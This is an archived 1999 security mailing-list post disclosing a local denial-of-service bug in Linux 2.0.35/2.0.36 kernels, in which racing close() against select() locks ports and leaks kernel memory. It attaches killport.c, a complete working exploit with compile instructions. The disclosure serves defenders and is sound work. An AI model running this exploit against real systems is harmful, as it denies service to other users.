Linux 2.0.36 vulnerable to local port/memory DoS attack

From: David Schwartz (davidsat_private)
Date: Tue Jan 19 1999 - 11:33:19 PST

  • Next message: Sean Coates: "Re: Personal web server"

    This is a multi-part message in MIME format.
    
    ------=_NextPart_000_0000_01BE439F.833B3870
    Content-Type: text/plain;
            charset="Windows-1252"
    Content-Transfer-Encoding: 7bit
    
    
            I discovered an exploitable bug in Linux kernel 2.0.35 in September of
    1998. I reported it to the Linux developers. I was assured that this bug was
    part of a family of similar bugs that would soon be banished from the Linux
    kernel. In fact, I was told the release of 2.0.36 was being delayed to allow
    this bug, and others like it, to be fixed.
    
            Well, I just tested the exploit against a stock 2.0.36 kernel, and
    unfortunately, the attack still works. 2.1.x and the 2.2.x-pre builds are
    not vulnerable. A local unprivileged account is required to launch this
    attack. Multithreaded programs that work perfectly on other operating
    systems may accidentally trigger this bug on affected Linux systems.
    
            The effect of this bug is that anyone with a local account can permanently
    (until a reboot) steal any ports he or she wants (>1024, of course). It
    becomes subsequently impossible to listen on this port. Oddly, the kernel
    itself continues listening on the port and accepts incoming TCP connections.
    
            Kernel memory can be leaked in any quantity desired. Any number of ports
    can be made unusable.
    
            You will know if this bug has been exploited on your system because you
    will see sockets stuck permanently in the 'CLOSE_WAIT' state. The only cure
    is a reboot. As far as I can tell, there is no way to determine which user
    launched the attack once their process terminates. (I checked the uid field
    in the kernel, it's blank.)
    
            The way you trigger the bug is to open the port, and then while one thread
    selects on the port, another closes it. Due to the select, the close fails.
    The close can never happen again, as far as I know.
    
            The attached exploit code demonstrates the bug without harming the system
    too badly. Much more vicious exploits can be written trivially.
    
            David Schwartz
            <davidsat_private>
    
    ------=_NextPart_000_0000_01BE439F.833B3870
    Content-Type: application/octet-stream;
            name="killport.c"
    Content-Transfer-Encoding: quoted-printable
    Content-Disposition: attachment;
            filename="killport.c"
    
    =0A=
    // This program will kill a random port on a linux machine. The kernel =
    will=0A=
    // forever listen to that port and send the connections nowhere. Tested =
    with=0A=
    // Linux kernel 2.0.35 and libc-2.0.7. Requires LinuxThreads to compile,=0A=
    // but removing LinuxThreads from your system will not solve the problem.=0A=
    =0A=
    // The bug is triggered when a multithreaded program closes a socket from=0A=
    // one thread while another thread is selecting on it. A subsequent abort=0A=
    // leaves the socket in never-never land.=0A=
    =0A=
    // Do not underestimate the risk of this exploit. While this program=0A=
    // is mild, more vicious programs could lock large numbers of ports or=0A=
    // replicate this same attack on an active connection with large=0A=
    // send/receive buffers full of data. This could cause large increases=0A=
    // in kernel memory consumption.=0A=
    =0A=
    // Discovered by David J. Schwartz <davidsat_private>=0A=
    // Copyright (C) 1998, David J. Schwartz=0A=
    =0A=
    // Note: This bug was not fixed in 2.0.36, as I was told it would be=0A=
    =0A=
    // Compile with:=0A=
    // gcc killport.c -lpthread -o killport=0A=
    =0A=
    #include <pthread.h>=0A=
    #include <stdio.h>=0A=
    #include <sys/types.h>=0A=
    #include <sys/socket.h>=0A=
    #include <netinet/in.h>=0A=
    #include <stdlib.h>=0A=
    #include <arpa/inet.h>=0A=
    #include <errno.h>=0A=
    =0A=
    volatile int s;=0A=
    =0A=
    void *Thread1(void *a)=0A=
    {=0A=
     int i,p;=0A=
     struct sockaddr_in to;=0A=
     fd_set fd;=0A=
     s=3Dsocket(AF_INET, SOCK_STREAM, 0);=0A=
     if(s<=3D0) return;=0A=
     memset(&to, 0, sizeof(to));=0A=
     srand(getpid());=0A=
    =0A=
     /* we pick a random port between 50000 and 59999 */=0A=
     p=3D(rand()%10000)+50000;=0A=
    =0A=
     printf("port =3D %d\n", p);=0A=
     fflush(stdout);=0A=
     to.sin_port=3Dhtons(p);=0A=
     to.sin_addr.s_addr=3D0;=0A=
     to.sin_family=3DAF_INET;=0A=
     if(bind(s, (struct sockaddr *)&to, sizeof(to))<0)=0A=
      fprintf(stderr,"no bind\n");=0A=
     if(listen(s,10)!=3D0)=0A=
      fprintf(stderr,"No Listen\n");=0A=
     /* now we are listening on that port */=0A=
     i=3Dsizeof(to);=0A=
     FD_ZERO(&fd);=0A=
     FD_SET(s,&fd);=0A=
     select(s+1,&fd,NULL,NULL,NULL);=0A=
     /* at this point we have selected on it as well */=0A=
     fprintf(stderr,"select returned!\n");=0A=
    }=0A=
    =0A=
    void *Thread2(void *a)=0A=
    {=0A=
     close(s);=0A=
     fflush(stderr);=0A=
     abort();=0A=
    }=0A=
    =0A=
    void main(void)=0A=
    {=0A=
     pthread_t j;=0A=
     pthread_create(&j,NULL,Thread1,NULL);=0A=
     usleep(100); /* give the other thread time to finish */=0A=
     pthread_create(&j,NULL,Thread2,NULL);=0A=
     while(1) sleep(1);=0A=
    }=0A=
    
    ------=_NextPart_000_0000_01BE439F.833B3870--
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:29:20 PDT